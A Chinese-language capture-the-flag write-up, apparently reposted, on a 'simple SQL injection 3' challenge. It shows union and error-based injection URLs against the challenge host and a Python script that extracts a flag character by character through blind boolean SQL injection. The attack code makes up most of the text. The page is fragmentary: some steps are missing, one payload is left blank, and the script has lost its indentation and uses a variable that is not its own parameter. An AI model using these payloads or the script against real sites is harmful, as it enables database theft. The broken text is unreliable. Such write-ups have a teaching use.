實驗吧 | 簡單的sql注入之3
阿新 • • 發佈:2018-12-19
模糊測試結果: 1)查詢成功返回 Hello ,查詢失敗無回顯。 2)查詢id = 1 ,2 ,3均有回顯。
2)再看一下現在在哪個庫裡面吧! payload3 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ union select concat(0x7e,database(),0x7e) --+ 結果:無回顯 payload4 = http://ctf5.shiyanbar.com/web/index_3.php?id=0’ union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a --+ 結果:無回顯 payload5 =
4)檢視欄位長度
5)EXP:其原理就是把欄位內容分解成一位一位,然後一個個比較。
#author:Travis Zeng
import requests
import time
import string
strings=string.digits+string.ascii_lowercase
element=[]
element_str= ''
FLAG=False
def POC(x,j):
url='http://ctf5.shiyanbar.com/web/index_3.php?id='
poc="1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" %(x,i)
#猜測表名與欄位名都為flag。x是正在匹配的flag的字元位置,i是這個字元可能對應的ascii碼整數。
#%%是Python翻譯轉義字元%時用的。
#substr((select+flag+from+flag),%d,1)
#將select flag from flag後拿到的結果,從第x位開始,擷取1個字元,將這個字元轉換成ascii碼與i作比較。
print('testing url:'+url+poc)
res=requests.get(url+poc)
if res.headers['Content-Length']=='471':
#因為當語句合法時(flag字元猜解正確),頁面始終返回的是Hello!那麼他的返回報文長度就是一定的,我們可以通過攔截返回包檢視報文長度。
return 1
else:
return 0
for x in range(1,35):
for i in range(30,129):
if POC(x,i):
element.append(i)
break
elif i==128:
FLAG=True
if FLAG:
break
for k in range(0,len(element)):
element_str=element_str+chr(element[k])
print("Test Finish! ")
print(element_str)
6)GetFlag